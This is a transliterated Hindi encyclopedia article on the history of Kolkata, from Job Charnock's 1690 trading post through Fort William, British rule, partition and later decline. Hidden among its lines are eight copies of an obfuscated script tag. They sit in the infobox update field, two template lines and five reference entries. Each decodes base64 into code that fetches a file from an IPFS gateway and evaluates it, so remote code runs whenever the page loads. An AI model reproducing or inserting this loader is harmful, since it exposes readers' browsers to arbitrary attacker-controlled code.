कोलकाता का इतिहास
kolakata ka itihas
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| vivaran | kolakata ka bharat ke itihas mean mahathvapoorn shthan hai. kolakata shahar bangal ki kha di ke oopar hugali nadi ke poorvi tat par sthit hai. |
| rajy | pashchim bangal |
| zila | kolakata |
| sthapana | san 1690 ee. mean j aaub charnok dvara sthapit |
| bhaugolik sthiti | uttar- 22°33′ - poorv -88°20′ |
| marg sthiti | kolakata shahar rashhtriy rajamarg tatha rajhy rajamarg se poore desh se ju da hua hai. kolakata s dak marg bhuvaneshhvar se 468 kilomitar uttar-poorv, patana se 602 kilomitar dakshin-poorv tatha raanchi se 404 kilomitar dakshin-poorv mean sthit hai. |
| prasiddhi | rasagulla, bangali sa diyaan, taant ki sa diyaan |
| kab jaean | aktoobar se faravari |
| kaise pahuanchean | havaee jahaz, rel, bas adi se pahuancha ja sakata hai. |
| havaee adda | netaji subhash chandr bos aantarrashtriy havaee adda v damadam havaee adda |
| relave steshan | hav da jankshan, siyaladah jankshan. |
| bas adda | bas adda, kolakata |
| yatayat | saikil-riksha, aauto-riksha, mitar-taiksi, siti bas, tram aur metro rel |
| kya dekhean | kolakata paryatan |
| kahaan thaharean | hotal, atithi grah, dharmashala |
| kya khayean | rasagulla, bhat |
| kya kharidean | hathakaragha sooti sa diyaan, resham ke kap de, hashtashilhp se nirmit vashtuean bhi kharid sakate haian. |
| es.ti.di. kod | 033 |
| e.ti.em | lagabhag sabhi |
| chitr:Map-icon.gif | googal manachitr, kolakata havaee adda |
| any janakari | yah bharat ka sabase b da shahar hai aur pramukh bandaragahoan mean se ek haian. kolakata ka purana nam kalakatta tha. 1 janavari, 2001 se kalakatta ka nam adhikarik taur par kolakata hua. |
| bahari k diyaan | adhikarik vebasait |
| adyatan | 19:35, 17 agast 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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kalikata nam ka ullekh mugal badashah akabar (shasan kal, 1556-1605) ke rajasv khate mean aur bangali kavi bipradas (1495) dvara rachit 'manasamangal' mean bhi milata hai. ek british basti ke roop mean kolakata ka itihas 1690 mean british eest iandiya kampani ke ek adhikari jab charnok dvara yahaan par ek vyapar chauki ki sthapana se shuroo hota hai. hugali nadi ke tat par sthit bandaragah ko lekar poorv mean charnok ka mugal samrajy ke adhikariyoan se vivad ho gaya tha aur unhean vah sthan chho dane ke lie vivash kar diya gaya tha. jisake bad unhoanne nadi tat par sthit any sthanoan par svayan ko sthapit karane ke kee asaphal prayas kie. [[chitr:Belur-Math-Kolkata.jpg|thumb|beloor math, kolakata|left|250px]] mugal adhikariyoan ne british kampani ke vanijy se hone vale labh ko n khone ki chah mean jab j aaub charnok ko punah lautane ki anumati di, tab unhoanne kolakata ko apani gatividhiyoan ke kendr ke roop mean chuna. sthal ka chunav savadhanipoorvak kiya gaya pratit hota hai, kyoanki yah pashchim mean hugali nadi, uttar mean jvar nad aur poorv mean lagabhag char kilomitar ki doori par lavaniy jhil dvara sanrakshit tha. nadi ke pashchimi tat par ooanche sthanoan par dach, fraansisi v any pratidvandviyoan ki bastiyaan sthit thian. chooanki yah hugali ke bandaragah par sthit tha, isalie samudr se pahuanchane ke marg ko koee khatara nahian tha. is sthal par nadi chau di aur gahari bhi thi. keval ek hi hani thi ki yah atyant daladali kshetr tha, jisase yah jagah asvasthyakar ho gee. isake atirikt, aangrezoan ke ane ke pahale, tin sthaniy gaanvoan, sutanati, kalikata aur govindapur, jo bad mean samoohik roop mean kolakata kahalane lage, ka chayan un bharatiy vyapariyoan ke dvara basane ke lie kiya gaya tha, jo gad se bhare satagaanv ke bandaragah se pravasit hue the. charnok ke sthal chayan mean in vyapariyoan ki upasthiti bhi kuchh had tak uttaradayi rahi hogi.
1696 mean nikatavarti barddhaman zile mean ek vidroh hone tak mugal prantiy prashasan ka is badhati huee basti ke prati dostana vyavahar ho gaya tha. kampani ke karmachariyoan ne jab vyapar chauki ya faiktri ki qilebandi ki anumati maangi, tab unaki suraksha ki samany shartoan par unhean ijazat de di gee. mugal shasan ne vidroh ko asani se daba diya, kintu upaniveshiyoan ka eeant v mitti se bana surakshatmak dhaancha vaisa hi bana raha aur 1700 mean yah fort viliyam kahalaya. 1698 mean aangrezoan ne ve patr prapt kar lie, jisane unhean tin gaanvoan ke zamiandari adhikar (rajasv sangrahan ka adhikar, vastavik svamitv) kharidane ka visheshadhikar pradan kar diya.
kalakatta ki kal kothari
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- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
20 joon 1756 ko bangal ke navab sirajuddaula dvara nagar par qabza karane aur eest iandiya kanpani ki pratirakshak sena dvara parishad ke ek sadasy j aaun jed h aaulavel ke netritv mean samarpan karane ke bad ghati ghatana mean navab ne shesh bache yooropiy pratirakshakoan ko ek kothari mean band kar diya tha, jisamean anek bandiyoan ki mrityu ho gee thi, yah ghatana bharat mean british samrajyavad ke adarshikaran ka ek sanasanikhej muqadama aur vivad ka vishay bani.
phort viliyam
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bangal mean mugal paddhati ke anusar qazi aparadhik aur divani mamaloan ka nipatara kiya karate the. jabaki zamiandaroan par lagan vasoolane ki zimmedari thi. qazi islami paddhati se nyay karate the, hinduoan ke mamale mean panditoan ka sahayog prapt kiya jata tha. mool ikaee ke roop mean panchayatean qayam thian. qazi ke nirnay ke viruddh qazi-e-sooba ko apil ki ja sakati thi. qazi ka pad vanshanugat hota tha jis ke lie bad mean boli lagane lagi thi. vidhi se anabhijn log nyay kar rahe the. bhrashtachar aur pakshapat ka bolabala tha. 1733 mean qazi ke adhikar zamiandaroan ko de die ge. zamidaroan ne bhi apani svarth siddhi ke atirikt kuchh nahian kiya. zamiandaroan ko sabhi tarah ke nyay ke adhikar die ge the apil soobe ke navab ko ki ja sakati thi lekin ve ine-gine mamaloan mean hi hoti thi. zamiandar nyay ke lie saudebazi karane lage the. samany jan loot ke bhari shikar the.[1]
[[chitr:Victoria-Memorial-Kolkata-3.jpg|viktoriya memoriyal, kolakata
Victoria Memorial, Kolkata|thumb|left|250px]]
poorvi bharat mean vyapar ke lie eest iandiya kanpani aur j aaub charnok ko yah surakshit v sthayi thikana milana b di upalabdhi thi. yorop se eshiya tak vyapar ke lie agrasar aangrez vyapariyoan ke lie soorat, muanbee aur madras ke bad poorvi bharat mean sootanati ek aisa keandr mil gaya jahaan eest iandiya kanpani ke numaiande vyapar ke lihaz se karakhane khole aur bad mean phort viliyam ki qilebandi karake apani sthiti mazaboot karane mean saphal hue.[2]
shahar ka vikas
kolakata port trast
Kolkata Port Trust Building|thumb|250px
1717 mean mugal badashah farrukhasiyan ne eest iandiya kampani ko 3,000 rupaye varshik bhugatan par vyapar ki anumati de di. is vyavastha ne kolakata ke vikas ko bahut badhava diya. b di sankhya mean bharatiy vyapari shahar mean ekatr hone lage. kampani ke jhande ke niche kampani ke karmachari shulk-mukt niji vyapar karane lage. 1742 mean marathoan ne jab dakshin-pashchim se bangal ke pashchimiziloan mean mugaloan ke viruddh akraman shuroo kiya, tab aangrezoan ne bangal ke navab (shasak) alivardi khaan se shahar ke uttari aur poorvi bhag mean ek khaee khodane ki anumati prapt kar li. yah maratha khaee ke nam se jani gee. halaanki yah basti ke dakshin chhor tak poori tarah nahian ban paee, par isane shahar ki poorvi sima ka nirman kiya. 1756 mean navab ke uttaradhikari, sirajuddaula ne qile par qabza kar liya aur shahar ko loota. bharat mean british shakti ke sansthapakoan mean se ek rabart klaiv aur british nausenadhyaksh charls vatasan ne janavari 1757 mean kolakata par phir se adhikar kar liya. tho de samay ke bad plasi (joon 1757) mean navab har ge. jisake bad bangal mean british raj sunishchit ho gaya. govindapur ke jangaloan ko kat diya gaya aur hugali ki upeksha kar vartaman sthal kolakata par ne fort viliyam ka nirman kiya gaya, jahaan yah british sattarohan ka pratik ban gaya.
[[chitr:Marble-Palace-Kolkata.jpg|thumb|marbal pailes, kolakata
Marble Palace, Kolkata|left|250px]]
1772 tak kolakata british bharat ki rajadhani nahian bana, us varsh pratham gavarnar-janaral varen hestigz ne prantiy mugal rajadhani murshidabad se sabhi mahattvapoorn karyalayoan ka sthanantaran is shahar mean kiya. 1773 mean banbee aur madras, fort viliyam sthit shasan ke adhin a ge. british qanoon ko lagoo karane vale uchchatam nyayalay ne apana prarambhik kshetradhikar shahar mean maratha khaee (vartaman achary praphull chandr aur jagadish chandr bos margoan) tak lagoo karana prarambh kar diya.
1706 mean kolakata ki janasankhya lagabhag 10,000 se 12,000 thi. 1752 mean yah lagabhag 1,20,000 tak aur 1821 mean yah 1,80,000 tak pahuanchi. shvet (british) nagar ka nirman us bhoomi par kiya gaya, jo kee bar basi aur kee bar uj di thi. british bhag mean itane mahal the ki shahar ka nam hi mahaloan ka shahar p d gaya. british upanagar ke bahar navadhanadhy logoan ke bhavy avasoan ke sath-sath jhop diyoan ke samooh nirmit kie ge. nagar ke vibhinn bhagoan ke nam, jaise kumaratuli (kumharoan ka kshetr) aur saankaripa da (shankh-sip karigaroan ka kshetr) ab bhi alag-thalag vyavasayik jatiyoan ke logoan ko darshate haian, jo badhate hue mahanagar ke nivasi ban ge. do alag-alag prajatiyaan, aangrez aur bharatiy, kolakata mean ek sath nivas karane lagian.
thumb|nivedita setu, kolakata
Nivedita Setu, Kolkata|250px
us samay kolakata ko asuvidhajanak shahar mana jata tha. s dakean bahut hi kam thian. janakary mean sudhar ke lie l aautari ke madhyam se vitt prabandh ke lie 1814 mean ek l aautari samiti ka gathan kiya gaya, usane halat sudharane ke lie 1814 se 1836 ke bich kee prabhavi kary kie. 1814 mean nigam ki sthapana ki gee. yadyapi 1864, 1867 aur 1870 ke chakravat ne nichale kshetr mean rah rahe garib logoan ko tabah kar diya. kramik charanoan mean jaise-jaise british shakti ka prayadvip mean vistar hota gaya, sampoorn uttar bharat kolakata bandaragah ka prishth kshetr ban gaya. 1835 mean aantarik chuangi shulk samapt kie jane se ek khula bazar nirmit hua aur relave ke nirman (prarambh 1854 mean) ne vyapar evan udyog ke vikas ko aur adhik badhava diya. isi samay kolakata se peshavar (ab pakistan) tak graiand trank rod ko poora kiya gaya. british vyapar, baiankig aur bima vyavasay phale-phoole. kolakata ka bharatiy upakshetr bhi vyavasay ka vyast kendr ban gaya aur bharat ke sabhi bhagoan aur eshiya ke kee any bhagoan ke logoan se bhar gaya. kolakata prayadvip ka bauddhik kendr ban gaya. neehati nagar bharat ke pashchim bangal rajy mean hugali nadi par kolakata se 22 mil uttar chaubis paragana zile mean sthit hai.
20vian shatabdi mean kolakata
20vian sadi mean kolakata ke durbhagy ka uday hua. bharat ke vaisaray l aaurd karzan ne 1905 mean bangal ko vibhajit kiya v dhaka ko poorv bangal aur asam ki rajadhani banaya. vibhajan ko radd karane ke lie tivr andolan kie ge. kintu 1912 mean british bharat ki rajadhani kolakata se hatakar dilli laee gee, jahaan se sarakar apekshakrit shanti se chal sakati thi. 1947 mean bangal ka vibhajan antim prahar tha. chooanki kolakata ki janasankhya badh gee thi, yahaan samajik samasyaean bhi tivr ho geean aur bharat ke lie svashasan ki maang bhi. 1926 mean sampradayik dange hue aur jab 1930 mean mahatma gaandhi ne anyayapoorn qanoonoan ki avajna karane ka ahvan kiya, tab phir se dange hue. dvitiy vishv yuddh ke dauran kolakata bandaragah par hue japani havaee hamaloan se bahut nuqasan hua aur janahani bhi huee. sabase bhayanak sampradayik dange 1946 mean hue, jab british bharat ka vibhajan tay tha aur musalamanoan aur hinduoan ke bich tanav charam par tha.
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vrihad kolakata mean 30 se adhik sangrahalay hai, jo vividh vishayoan par adharit haian. 1814 mean sthapit 'iandiyan myooziyam' bharat mean sabase purana aur apani tarah ka desh ka sabase b da sangrahalay hai. puratattv aur mudravishayak khandoan mean sabase moolyavan sangrah haian.
chitr:Blockquote-close.gif |
1947 mean bangal ke bharat aur pakistan ke bich vibhajan se kolakata bahut pichh d gaya, kyoanki yah apane poorv prishthabhag ke ek hisse ka vyapar khokar, keval pashchim bangal ki rajadhani banakar rah gaya. isi samay poorvi pakistan (vartaman baangla desh) se hazaroan sharanarthi kolakata a ge, jisase samajik samasyaean v janasankhya aur bhi badh gee, jo pahale hi chiantajanak anupat mean pahuanch chuki thi. 1960 ke dashak ke madhy tak arthik gatihinata ne nagar ke samajik v rajanitik jivan mean asthirata ko badha diya aur shahar se pooanji ke nikas ko badhava diya. rajy shasan ne kee kampaniyoan ka prabandh apane hathoan mean liya. visheshakar 1980 ke dashak mean b di sankhya mean lok nirman karyakram aur kendrikrit kshetriy yojanaoan ne shahar ki arthik aur samajik sthiti ke sudhar mean yogadan diya.
atit ke jharokhe se
bharat ki bauddhik rajadhani mana jane vala kolakata british shasan ke dauran british bharat ki rajadhani thi, kolakata ko landan ke bad british empayar ka doosara sabase b da shahar mana jata tha. is shahar ko kisi jamane mean poorab ka moti pukara jata tha. aangrez ise bhale hi 'kailakata' pukarate the lekin bangal aur baangla mean ise hamesha se kolakata ya kolikata ke nam se hi pukara jata raha hai jabaki hindi bhashi isako kalakatta ya kalakatte ke nam se pukarate rahe hai.
[[chitr:Howrah-Bridge-Kolkata-2.jpg|thumb|hav da brij, kolakata
Howrah Bridge, Kolkata|left|250px]]
samrat akabar ke chuangi dastavejoan aur pandrahavi sadi ke baangla kavi vipradas ki kavitaoan mean is nam ka bar bar ullekh milata hai. lekin phir bhi nam ki utpatti ke bare mean kee tarah ki kahaniyaan mashahoor haian. sabase lokapriy kahani ke anusar hianduoan ki devi kali ke nam se is shahar ke nam ki utpatti huee hai. is shahar ke astitv ka ullekh vyaparik bandaragah ke roop mean chin ke prachin yatriyoan ke yatra vritaant aur pharasi vyapariyoan ke dastavezoan mean bhi ullekh hai. mahabharat mean bhi bangal ke kuchh rajaoan ke nam hai jo kaurav sena ki taraph se yuddh mean shamil huye the.
[[chitr:Rabindranath-Tagore.jpg|rabindranath thakur
Rabindranath Thakur|thumb]]
bauddhik virasat se bharapoor kolakata bharatiy svadhinata aandolan mean kendriy bhoomika rah itihas mean apana nam darj karava chuka hai. bharatiy rashtriy kaangres ke sath-sath kee pramukh rajanitik evan saanskritik sansthanoan jaise 'hindoo mela' aur kraantikari sangathan 'yugaantar', 'anushilan' ki sthapana isi shahar mean huee sath hi is shahar ko bharat ki bahut si mahanh hastiyoan jaise praranbhik rashtravadi araviand ghosh, iandira devi chaudharani, vipinachandr pal the. rashtravadiyoan ke prerana ke kendr bindu bane ramkrishna paramahans ke shishy svami vivekanand bhi. bharatiy rashtriy kaangres ke pahale adhyaksh shri vyomesh chandr bainarji aur svaraj ki vaqalat karane vale shri surendranath bainarji bhi the. 19 vi sadi ke uttarardh aur 20 vian shatabdi ke praranbh mean prakhyat baangla sahityakar bankimachandr chatarji jinaka likha anandamath ka git 'vande mataram' aj bharat ka rashtr git hai aur netaji subhashachandr bos, isake alava rashtakavi raviandranath taigor jaise mahanh rachanakar se lekar saik doan svadhinata ke sipahiyoan ka ghar hone ka gaurav prapt hai.[3]
1757 ke bad se is shahar par poori tarah aangrezoan ka prabhutv sthapit ho gaya aur 1850 ke bad se is shahar ka tezise audyogik vikas hona shuroo hua khasakar kap doan ke udyog ka vikas natakiy roop se yahaan badha halaki is vikas ka asar shahar ko chho dakar asapas ke ilakoan mean kahian parilakshit nahian hua. 5 aktoobar 1864 ko samudri toofan[4] ki vajah se kolakata mean buri tarah tabahi hone ke bavajood kolakata adhikaanshat: aniyojit roop se agale dedh sau saloan mean badhata raha aur aj isaki abadi lagabhag 14 miliyan hai. kolakata 1980 se pahale bharat ki sabase zyada abadi vala shahar tha, lekin isake bad muanbee ne isaki jagah li. bharat ki azadi ke samay 1947 mean aur 1971 ke bharat pakistan yuddh ke bad 'poorvi bangal' (ab baangladesh) se yahaan sharanarthiyoan ki badh a gayi jisane is shahar ki arthavyavastha ko buri tarah jhakajhor diya.[5]
As we enter the town, a very expansive Square opens before us, with a large expanse of water in the middle, for the public use… The Square itself is composed of magnificent houses which render Calcutta not only the handsomest town in Asia but one of the finest in the world. L. de Grandpré[6]
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tika tippani aur sandarbh
- ↑ ray dvivedi, dinesh. bharat mean vidhi ka itihas-7 kolakata (hindi). . abhigaman tithi: 21 julaee, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ sianh, maandhata. kolakata aur j aaub charnok (hihndi) (ech.ti.em.el). . abhigaman tithi: 21 julaee, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ shishodiya, sandip. ek shahar roomaniyat se bhara : kolakata (hihndi) (ech.ti.em.el). . abhigaman tithi: 21 julaee, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ jisame sath hazar se zyada log mare gaye
- ↑ sianh, maandhata. hamaravatan-hamarasamaj, kolakata (hihndi) (ech.ti.em.el). . abhigaman tithi: 21 julaee, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Kolkata Quotes (aangrezi) (ech.ti.em.el). . abhigaman tithi: 22 julaee, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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